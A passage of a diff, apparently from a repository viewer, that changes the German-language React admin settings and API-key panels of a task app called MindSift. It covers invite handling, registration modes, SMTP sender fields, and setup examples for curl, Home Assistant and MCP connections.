const used = inv.useCount ?? (inv.usedBy ? 1 : 0);
const open = used < maxUses && new Date(inv.expiresAt).getTime() > Date.now();
const copied = copiedInviteId === inv.id;
return (
<div key={inv.id} className="p-2 space-y-2">
<div className="flex flex-wrap items-center justify-between gap-2">
<div className="flex flex-wrap items-center gap-2.5 min-w-0">
{invites.map((inv) => (
<div
key={inv.id}
className="p-2 flex flex-wrap items-center justify-between gap-2"
>
<div className="flex items-center gap-2.5">
<code className="px-2 py-0.5 bg-canvas border border-border font-mono font-bold text-accent rounded-card">
{inv.code}
</code>
@@ -803,48 +704,27 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
Rolle: <strong className="text-main">{inv.role}</strong>
{inv.email ? ` · Für: ${inv.email}` : ''}
{inv.organizationName ? ` · ${inv.organizationName}` : ''}
{maxUses > 1 ? ` · ${used} von ${maxUses} verwendet` : ''}
</span>
{open ? (
<span className="badge-ok text-[10px]">Offen</span>
{inv.usedBy ? (
<span className="badge-neutral text-[10px]">
Eingelöst
</span>
) : (
<span className="badge-neutral text-[10px]">{used >= maxUses ? 'Eingelöst' : 'Abgelaufen'}</span>
<span className="badge-ok text-[10px]">
Offen
</span>
)}
</div>
<div className="flex flex-wrap items-center gap-1.5">
{open && (
<>
<div className="flex items-center gap-1.5">
{!inv.usedBy && (
<button
type="button"
onClick={() => handleCopyInvite(inv, 'link')}
className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
title={inviteLink(inv)}
>
<Link2 className="w-3 h-3" />
<span>{copied && copiedWhat === 'link' ? 'Kopiert!' : 'Link kopieren'}</span>
</button>
<button
type="button"
onClick={() => handleCopyInvite(inv, 'code')}
onClick={() => handleCopyInviteCode(inv)}
className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
>
<Copy className="w-3 h-3" />
<span>{copied && copiedWhat === 'code' ? 'Kopiert!' : 'Code'}</span>
<span>{copiedInviteId === inv.id ? 'Kopiert!' : 'Code kopieren'}</span>
</button>
<button
type="button"
onClick={() => {
setMailInviteId(mailInviteId === inv.id ? null : inv.id);
setMailInviteTo(inv.email || '');
}}
className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
title="Einladung per E-Mail verschicken"
>
<Mail className="w-3 h-3" />
<span>Per E-Mail</span>
</button>
</>
)}
<button
onClick={() => handleDeleteInvite(inv.id)}
@@ -855,100 +735,19 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
</button>
</div>
</div>
{mailInviteId === inv.id && (
<form
onSubmit={(e) => {
e.preventDefault();
void handleSendInvite(inv);
}}
className="flex flex-wrap items-center gap-2"
>
<input
type="email"
value={mailInviteTo}
onChange={(e) => setMailInviteTo(e.target.value)}
readOnly={Boolean(inv.email)}
placeholder="name@beispiel.de"
required
autoFocus
className="flex-1 min-w-[12rem] h-8 px-2.5 input-field"
/>
<button
type="submit"
disabled={mailInviteBusy}
className="btn-primary h-8 px-3 text-xs font-semibold flex items-center gap-1.5 disabled:opacity-50"
>
<Send className="w-3.5 h-3.5" />
<span>{mailInviteBusy ? 'Sende…' : 'Einladung senden'}</span>
</button>
{maxUses === 1 && !inv.email && (
<span className="w-full text-[11px] text-faint">Die Einladung gilt danach nur noch für diese Adresse.</span>
)}
</form>
)}
</div>
);
})}
</div>
</div>
)}
</div>
{/* Registrations waiting for approval */}
{users.some((u) => u.pendingApproval) && (
<div className="space-y-2">
<h3 className="font-bold text-main flex items-center gap-1.5">
<Clock className="w-3.5 h-3.5 text-status-warn" />
Wartet auf Freigabe ({users.filter((u) => u.pendingApproval).length})
</h3>
<div className="border border-status-warn/40 divide-y divide-border bg-canvas rounded-card overflow-hidden">
{users
.filter((u) => u.pendingApproval)
.map((u) => (
<div key={u.id} className="p-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div className="flex items-center gap-2.5 min-w-0">
<UserAvatar user={u} size="sm" className="border border-border/80" />
<div className="min-w-0">
<p className="font-bold text-main truncate flex items-center gap-2">
{u.displayName}
{u.emailUnverified && <span className="badge-neutral text-[10px] font-normal">E-Mail unbestätigt</span>}
</p>
<p className="text-muted text-[11px] truncate">
{u.email} · registriert am {new Date(u.createdAt).toLocaleDateString('de-DE')}
</p>
</div>
</div>
<div className="flex items-center gap-2 shrink-0">
<button
type="button"
onClick={() => void handleApproveUser(u)}
className="btn-primary h-11 sm:h-8 px-3 text-xs font-semibold flex items-center gap-1.5"
>
<Check className="w-3.5 h-3.5" />
Freigeben
</button>
<button
type="button"
onClick={() => void handleDeleteUser(u)}
className="btn-action h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 hover:text-status-err"
>
<X className="w-3.5 h-3.5" />
Ablehnen
</button>
</div>
</div>
))}
</div>
</div>
)}
</div>
{/* Users List */}
<div className="space-y-2">
<h3 className="font-bold text-main">
Registrierte Benutzer ({users.filter((u) => !u.pendingApproval).length})
Registrierte Benutzer ({users.length})
</h3>
<div className="border border-border divide-y divide-border bg-canvas rounded-card overflow-hidden">
{users.filter((u) => !u.pendingApproval).map((u) => (
{users.map((u) => (
<div key={u.id} className="p-3 space-y-2">
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div className="flex items-center gap-2.5">
@@ -957,8 +756,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
<div className="flex items-center gap-2">
<span className="font-bold text-main">{u.displayName}</span>
{!u.isActive && (
<span className={`${u.emailUnverified ? 'badge-neutral' : 'badge-err'} text-[10px]`}>
{u.emailUnverified ? 'E-Mail unbestätigt' : 'Gesperrt'}
<span className="badge-err text-[10px]">
Gesperrt
</span>
)}
</div>
@@ -1214,7 +1013,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'server' && isServerAdmin && (
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3">
<h2 className="text-sm font-bold text-main">
@@ -1301,8 +1099,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
<VoiceStatusCard />
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
@@ -1319,127 +1115,35 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
/>
</div>
{/* Retention: may people keep finished and deleted things for good? */}
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Dauerhaftes Aufbewahren erlauben</p>
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Eingeschaltet kann jede Person unter Kontoeinstellungen → Aufbewahrung „nie“ wählen, also Erledigtes und
Gelöschtes behalten. Ausgeschaltet gilt dort für „nie“ die Voreinstellung des Bereichs (z. B. 30 Tage).
{settings.retentionNeverViaEnv && ' Festgelegt per RETENTION_ALLOW_NEVER.'}
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
</p>
</div>
<ToggleSwitch
checked={settings.retentionAllowNever !== false}
disabled={Boolean(settings.retentionNeverViaEnv)}
onChange={(retentionAllowNever) => handleSaveSystemSettings({ retentionAllowNever })}
/>
</div>
{/* AI agents over MCP (and claude.ai / ChatGPT over OAuth) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">KI-Agenten (MCP) erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Eingeschaltet können Claude Code, Codex & Co. per API-Schlüssel und claude.ai oder ChatGPT als Connector
auf MindSift zugreifen. Ausgeschaltet ist der MCP-Endpunkt samt Connector-Anmeldung abgeschaltet;
bestehende Connector-Verbindungen ruhen, API-Schlüssel funktionieren per curl weiter.
{settings.mcpConfiguredViaEnv && ' Festgelegt per MCP_ENABLED.'}
</p>
</div>
<div className="flex items-center gap-3 flex-shrink-0">
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
</span>
<ToggleSwitch
checked={settings.mcpEnabled !== false}
disabled={Boolean(settings.mcpConfiguredViaEnv)}
onChange={(mcpEnabled) => handleSaveSystemSettings({ mcpEnabled })}
checked={settings.allowRegistration}
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
/>
</div>
{/* Who may register without an invite */}
{(() => {
const mode = settings.registrationMode || 'closed';
const locked = Boolean(settings.registrationConfiguredViaEnv);
const needsDomains = mode === 'domain' || mode === 'domain+approval';
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div>
<p className="font-bold text-main">Registrierung ohne Einladung</p>
<p className="text-[11px] text-muted mt-0.5">
Wer sich auf dem Login-Bildschirm selbst ein Konto anlegen darf. Einladungslinks und -codes funktionieren
immer. Wartende Konten gibst du unter „Benutzer &amp; Einladungen“ frei.
</p>
</div>
<select
value={mode}
disabled={locked}
onChange={(e) => handleSaveSystemSettings({ registrationMode: e.target.value as RegistrationMode })}
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs disabled:opacity-60"
>
<option value="closed">Geschlossen – nur mit Einladung</option>
<option value="approval">Mit Freigabe – jeder darf sich registrieren, ein Admin schaltet frei</option>
<option value="domain">Nur bestimmte E-Mail-Endungen – sofort aktiv</option>
<option value="domain+approval">Endungen sofort, alle anderen nach Freigabe</option>
<option value="open">Offen – jeder, sofort aktiv</option>
</select>
{needsDomains && (
<label className="block text-[11px] text-muted">
Erlaubte E-Mail-Endungen (durch Komma getrennt, <code className="font-mono">*.firma.de</code> auch für Subdomains)
<input
type="text"
disabled={locked}
value={settings.registrationDomains || ''}
onChange={(e) => setSettings((prev) => ({ ...prev, registrationDomains: e.target.value }))}
onBlur={() => handleSaveSystemSettings()}
placeholder="firma.de, familie-dach.de"
className="block w-full mt-1 h-11 sm:h-8 px-2.5 input-field font-mono text-base sm:text-xs disabled:opacity-60"
/>
</label>
)}
{locked && (
<p className="text-[11px] text-status-warn">
Über die Umgebung festgelegt (<code className="font-mono">REGISTRATION_MODE</code> /{' '}
<code className="font-mono">REGISTRATION_DOMAINS</code>) und hier nicht änderbar.
</p>
)}
{mode !== 'closed' && (
<div className="pt-3 border-t border-border flex items-start justify-between gap-4">
<div className="pr-2">
<p className="font-semibold text-main">E-Mail-Adresse bestätigen lassen</p>
<p className="text-[11px] text-muted mt-0.5">
Neue Konten ohne Einladung bekommen einen Link per E-Mail und sind erst danach aktiv (bei Freigabe
landen sie danach bei dir). Unbestätigte Konten werden nach 48 Stunden gelöscht.
</p>
{!settings.emailLinksAvailable && (
<p className="text-[11px] text-status-warn mt-1">
Wirkt erst mit eingerichtetem Mail-Server und gesetzter <code className="font-mono">BASE_URL</code>.
</p>
)}
{settings.registrationVerifyConfiguredViaEnv && (
<p className="text-[11px] text-status-warn mt-1">
Über <code className="font-mono">REGISTRATION_VERIFY_EMAIL</code> festgelegt.
</p>
)}
</div>
<ToggleSwitch
checked={Boolean(settings.registrationVerifyEmail)}
disabled={Boolean(settings.registrationVerifyConfiguredViaEnv)}
onChange={(registrationVerifyEmail) => handleSaveSystemSettings({ registrationVerifyEmail })}
title="E-Mail-Adresse bei der Registrierung bestätigen lassen"
/>
</div>
)}
</div>
);
})()}
</div>
</div>
</fieldset>
</div>
)}
{/* ================================================================= */}
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'smtp' && isServerAdmin && (
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div>
@@ -1517,8 +1221,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
autoComplete="new-password"
placeholder="••••••••••••"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
@@ -1533,30 +1236,11 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
}
placeholder="alerts@deinedomain.de"
placeholder="MindSift <alerts@deinedomain.de>"
className="w-full h-9 px-3 input-field"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Name (`SMTP_FROM_NAME`)
</label>
<input
type="text"
value={settings.smtpFromName || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFromName: e.target.value }))
}
placeholder="MindSift"
className="w-full h-9 px-3 input-field"
/>
<p className="text-[11px] text-faint mt-1">
Erscheint beim Empfänger als Absender. Leer = „MindSift“; ein Name direkt in der Adresse
(„Name &lt;adresse&gt;“) hat Vorrang.
</p>
</div>
<div className="sm:col-span-2 space-y-3 pt-1">
<div className="flex items-center justify-between gap-3">
<div>
@@ -1623,7 +1307,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
</div>
</div>
</div>
</fieldset>
)}
</div>
</div>
+47 -317
View File
@@ -3,42 +3,36 @@ import {
Key,
Plus,
Trash2,
Pencil,
Copy,
Check,
Webhook,
Zap,
Terminal,
Bot,
} from 'lucide-react';
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
import { SCOPES, SCOPE_GROUPS, scopeChip } from '../../lib/apiScopes';
import { api, triggerHaptic } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
interface ApiKeysPanelProps {
onIngested?: () => void;
}
type SimTarget = 'triage' | 'task' | 'list_item';
type McpClient = 'connector' | 'claude' | 'codex' | 'json';
type Access = 'rest' | 'mcp';
// What a key may deliver; keys never read anything
const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
{ id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
{ id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
];
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
// Personal API keys with rights (switches) and how to connect: curl / smart home (read examples,
// delivery simulator) or AI agents over MCP (settings → API)
type SimTarget = 'triage' | 'task' | 'list_item';
// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
const [keys, setKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedKey, setCopiedKey] = useState(false);
const [mcpClient, setMcpClient] = useState<McpClient>('connector');
// Address for claude.ai / ChatGPT connectors; empty while the server has no OAuth (no BASE_URL)
const [connectorUrl, setConnectorUrl] = useState('');
const [copiedConnector, setCopiedConnector] = useState(false);
const [access, setAccess] = useState<Access>('rest');
// The operator can switch MCP off; then only the curl / smart home access is shown
const [mcpEnabled, setMcpEnabled] = useState(true);
// Live Webhook Simulator State
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
@@ -59,67 +53,8 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
loadKeys();
api.getAllLists().then(setLists).catch(() => {});
api.getTaskLists().then(setTaskLists).catch(() => {});
api
.getAuthStatus()
.then((st) => {
setConnectorUrl(st.mcpConnectorUrl || '');
setMcpEnabled(st.mcpEnabled !== false);
})
.catch(() => {});
}, []);
// Editing an existing key: name and rights (the secret stays the same)
const [editKeyId, setEditKeyId] = useState<string | null>(null);
const [editName, setEditName] = useState('');
const [editScopes, setEditScopes] = useState<ApiKeyScope[]>([]);
const [editError, setEditError] = useState<string | null>(null);
const startEdit = (k: APIKey) => {
setEditKeyId(k.id);
setEditName(k.name);
setEditScopes(k.scopes.split(',').filter(Boolean) as ApiKeyScope[]);
setEditError(null);
};
const toggleEditScope = (id: ApiKeyScope) => {
setEditScopes((prev) => {
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
return next.length > 0 ? next : prev; // at least one
});
};
const handleSaveEdit = async () => {
if (!editKeyId) return;
try {
await api.updateAPIKey(editKeyId, { name: editName.trim(), scopes: editScopes });
triggerHaptic(15);
setEditKeyId(null);
await loadKeys();
} catch (err: any) {
setEditError(err?.message || 'Speichern fehlgeschlagen');
}
};
// Switches grouped by tasks, lists, notes and inbox (same layout for a new and an existing key)
const renderScopeSwitches = (selected: ApiKeyScope[], toggle: (id: ApiKeyScope) => void, label: string) => (
<div className="grid grid-cols-1 lg:grid-cols-2 gap-3" role="group" aria-label={label}>
{SCOPE_GROUPS.filter(([group]) => mcpEnabled || group !== 'notes').map(([group, heading]) => (
<div key={group} className="border border-border rounded-card bg-panel px-3 py-1.5">
<p className="text-[11px] text-muted pt-1 pb-0.5 font-semibold">{heading}</p>
{SCOPES.filter((sc) => sc.group === group).map((sc) => (
<div key={sc.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
<div className="min-w-0">
<span className="block text-xs text-main">{sc.label}</span>
<span className="block text-[11px] text-muted">{sc.hint}</span>
</div>
<ToggleSwitch checked={selected.includes(sc.id)} onChange={() => toggle(sc.id)} title={sc.chip} />
</div>
))}
</div>
))}
</div>
);
const toggleScope = (id: ApiKeyScope) => {
setNewKeyScopes((prev) => {
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
@@ -139,10 +74,10 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
await loadKeys();
};
const handleDeleteKey = async (k: APIKey) => {
if (!window.confirm(k.kind === 'oauth' ? `Die Verbindung „${k.name}“ wirklich trennen?` : 'Diesen API-Schlüssel wirklich widerrufen?')) return;
const handleDeleteKey = async (id: string) => {
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
triggerHaptic(20);
await api.deleteAPIKey(k.id);
await api.deleteAPIKey(id);
await loadKeys();
};
@@ -205,26 +140,6 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
"tags": ["smarthome", "keller"]
}`;
const mcpUrl = `${baseUrl}/api/v1/mcp`;
const mcpSnippet =
mcpClient === 'claude'
? `claude mcp add --transport http mindsift ${mcpUrl} \\
--header "X-API-Key: ${exampleToken}"`
: mcpClient === 'codex'
? `# ~/.codex/config.toml
[mcp_servers.mindsift]
url = "${mcpUrl}"
http_headers = { "X-API-Key" = "${exampleToken}" }`
: `{
"mcpServers": {
"mindsift": {
"type": "http",
"url": "${mcpUrl}",
"headers": { "X-API-Key": "${exampleToken}" }
}
}
}`;
return (
<div className="space-y-6">
{/* API keys */}
@@ -234,12 +149,10 @@ http_headers = { "X-API-Key" = "${exampleToken}" }`
<Key className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">API-Schlüssel</h3>
<h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
<p className="text-xs text-muted">
Ein Schlüssel verbindet Home Assistant, n8n, eigene Skripte oder KI-Agenten (Claude Code, Codex …) mit
MindSift. Was er darf, legst du mit den Schaltern fest; das gilt per curl und per MCP gleich, nur Notizen
gibt es ausschließlich über MCP. Einstellungen bleiben für Schlüssel gesperrt. Was ein Schlüssel bei Aufgaben
und Listen anlegt oder ändert, trägt seinen Namen als Badge.
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
einliefern, nie lesen; was genau, legst du pro Key fest.
</p>
</div>
</div>
@@ -258,7 +171,28 @@ http_headers = { "X-API-Key" = "${exampleToken}" }`
<span>API-Key erzeugen</span>
</button>
</div>
{renderScopeSwitches(newKeyScopes, toggleScope, 'Berechtigungen des Schlüssels')}
<div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
<span className="text-xs text-muted">Darf einliefern:</span>
{SCOPES.map((sc) => {
const on = newKeyScopes.includes(sc.id);
return (
<button
key={sc.id}
type="button"
role="checkbox"
aria-checked={on}
title={sc.hint}
onClick={() => toggleScope(sc.id)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3.5 h-3.5 text-accent" />}
{sc.label}
</button>
);
})}
</div>
</form>
{newlyCreatedKey && (
@@ -279,56 +213,17 @@ http_headers = { "X-API-Key" = "${exampleToken}" }`
{keys.length === 0 ? (
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
) : (
keys.map((k) =>
editKeyId === k.id ? (
<div key={k.id} className="px-3 py-3 bg-canvas space-y-2">
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={editName}
onChange={(e) => setEditName(e.target.value)}
aria-label="Name des Schlüssels"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<div className="flex gap-2">
<button type="button" onClick={() => setEditKeyId(null)} className="btn-action h-11 sm:h-9 px-3 text-xs flex-1 sm:flex-none">
Abbrechen
</button>
<button
type="button"
onClick={handleSaveEdit}
disabled={!editName.trim()}
className="btn-primary h-11 sm:h-9 px-4 text-xs flex-1 sm:flex-none disabled:opacity-40"
>
Speichern
</button>
</div>
</div>
{renderScopeSwitches(editScopes, toggleEditScope, `Berechtigungen von ${k.name}`)}
<p className="text-[11px] text-faint">
{k.kind === 'oauth'
? 'Die Verbindung bleibt bestehen; die neuen Rechte gelten ab sofort.'
: 'Der Schlüssel selbst bleibt gleich; Geräte und Agenten, die ihn nutzen, müssen nichts ändern. Die neuen Rechte gelten ab sofort.'}
</p>
{editError && <p className="text-[11px] text-status-err">{editError}</p>}
</div>
) : (
keys.map((k) => (
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
<span className="text-sm font-medium text-main">{k.name}</span>
{k.kind === 'oauth' ? (
<span className="px-1.5 py-0.5 rounded-btn bg-accent/15 text-accent text-[10px] font-semibold" title="Verbunden über OAuth (claude.ai, ChatGPT …)">
OAuth
</span>
) : (
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
)}
{k.scopes
.split(',')
.filter(Boolean)
.map((sc) => (
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-muted text-[10px]">
{scopeChip(sc)}
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
{scopeLabel(sc)}
</span>
))}
{k.lastUsedAt && (
@@ -337,101 +232,29 @@ http_headers = { "X-API-Key" = "${exampleToken}" }`
</span>
)}
</div>
<div className="flex items-center gap-1 shrink-0">
<button
onClick={() => startEdit(k)}
className="btn-icon w-7 h-7"
aria-label={`API-Key ${k.name} bearbeiten`}
title="Name und Rechte ändern"
>
<Pencil className="w-3.5 h-3.5" />
</button>
<button
onClick={() => handleDeleteKey(k)}
className="btn-icon btn-icon-danger w-7 h-7"
onClick={() => handleDeleteKey(k.id)}
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
aria-label={`API-Key ${k.name} löschen`}
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
</div>
)
)
))
)}
</div>
</div>
{/* How to connect: one API, two accesses */}
<div className="pt-4 border-t border-border space-y-4">
{mcpEnabled && (
<div className="flex flex-wrap gap-1.5" role="tablist" aria-label="Zugang">
{(
[
['rest', 'curl / Smart Home', Terminal],
['mcp', 'KI-Agenten (MCP)', Bot],
] as const
).map(([value, label, Icon]) => (
<button
key={value}
type="button"
role="tab"
aria-selected={access === value}
onClick={() => setAccess(value)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs flex items-center gap-1.5 transition-colors ${
access === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
<Icon className="w-3.5 h-3.5 text-accent" />
{label}
</button>
))}
</div>
)}
{(access === 'rest' || !mcpEnabled) && (
<div className="space-y-5">
{/* Reading: e.g. a smart home sensor for what is due today */}
<div>
<div className="flex items-center gap-2 text-xs font-medium text-muted mb-2">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Lesen, z. B. was heute fällig ist (Recht „Aufgaben lesen“):</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
{`curl "${baseUrl}/api/v1/tasks?due=today&status=open" \\
-H "X-API-Key: ${exampleToken}"`}
</pre>
<p className="mt-2 text-[11px] text-faint">
Filter: <code className="font-mono">due=today</code>, <code className="font-mono">due=overdue</code> oder ein
Datum (<code className="font-mono">JJJJ-MM-TT</code>, fällig bis einschließlich), <code className="font-mono">status=open|done</code>,{' '}
<code className="font-mono">taskListId</code>. Listen: <code className="font-mono">GET /api/v1/lists</code> und{' '}
<code className="font-mono">/lists/ID</code>. Mit „Ändern“ auch <code className="font-mono">PATCH /api/v1/thoughts/ID</code>{' '}
(z. B. <code className="font-mono">{'{"isCompleted": true}'}</code>).
</p>
<div className="flex items-center gap-2 text-xs font-medium text-muted mt-3 mb-2">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Home Assistant: Sensor „Heute fällig“ (configuration.yaml)</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
{`rest:
- resource: "${baseUrl}/api/v1/tasks?due=today&status=open"
headers:
X-API-Key: "${exampleToken}"
scan_interval: 900
sensor:
- name: "MindSift heute fällig"
value_template: "{{ value_json | length }}"`}
</pre>
</div>
{/* Simulator */}
<div className="pt-4 border-t border-border">
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Webhook className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">Einliefern testen (Webhook)</h3>
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
<p className="text-xs text-muted">
Teste das Einliefern per <code className="font-mono">POST /api/v1/webhooks/ingest</code> direkt hier
Teste den Webhook-Endpunkt direkt hier
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
</p>
</div>
@@ -551,100 +374,7 @@ http_headers = { "X-API-Key" = "${exampleToken}" }`
</p>
</div>
</div>
</div>
)}
{access === 'mcp' && mcpEnabled && (
<div>
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Bot className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">KI-Agenten anbinden (MCP)</h3>
<p className="text-xs text-muted">
MindSift ist ein MCP-Server: Claude Code, Codex, Claude Desktop, Cursor und eigene Agenten nutzen dieselben
Schlüssel und Rechte wie curl, nur in der Form, die Agenten erwarten. claude.ai und ChatGPT verbinden sich ohne
Schlüssel: MindSift fragt beim Verbinden, was der Agent darf.
</p>
</div>
</div>
<div className="flex flex-wrap gap-1.5 mb-2" role="radiogroup" aria-label="Agent">
{(
[
['connector', 'claude.ai / ChatGPT'],
['claude', 'Claude Code'],
['codex', 'OpenAI Codex'],
['json', 'Claude Desktop / Cursor'],
] as const
).map(([value, label]) => (
<button
key={value}
type="button"
role="radio"
aria-checked={mcpClient === value}
onClick={() => setMcpClient(value)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
mcpClient === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{label}
</button>
))}
</div>
{mcpClient === 'connector' ? (
connectorUrl ? (
<div className="space-y-2">
<div className="flex items-center gap-2">
<code className="flex-1 min-w-0 p-3 bg-canvas border border-border font-mono text-xs text-main break-all">{connectorUrl}</code>
<button
type="button"
onClick={() => {
navigator.clipboard.writeText(connectorUrl);
setCopiedConnector(true);
setTimeout(() => setCopiedConnector(false), 2000);
}}
className="btn-icon w-11 h-11 sm:w-9 sm:h-9 flex-shrink-0"
aria-label="Adresse kopieren"
title="Adresse kopieren"
>
{copiedConnector ? <Check className="w-4 h-4" /> : <Copy className="w-4 h-4" />}
</button>
</div>
<p className="text-xs text-muted">
In claude.ai unter <span className="text-main">Einstellungen → Connectors → Eigenen Connector hinzufügen</span>{' '}
diese Adresse eintragen (in ChatGPT entsprechend als Connector bzw. App). Beim Verbinden öffnet sich MindSift:
anmelden, Rechte wählen, erlauben. Die Verbindung erscheint oben in der Liste und lässt sich dort ändern oder
trennen; unbenutzt endet sie nach einiger Zeit von selbst.
</p>
</div>
) : (
<p className="p-3 bg-canvas border border-border text-xs text-muted">
Verbinden über claude.ai und ChatGPT braucht OAuth, und das setzt <code className="font-mono">BASE_URL</code> in
der Server-Konfiguration voraus. Bitte die Person, die MindSift betreibt, sie zu setzen.
</p>
)
) : (
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">{mcpSnippet}</pre>
)}
<p className="mt-2 text-[11px] text-faint">
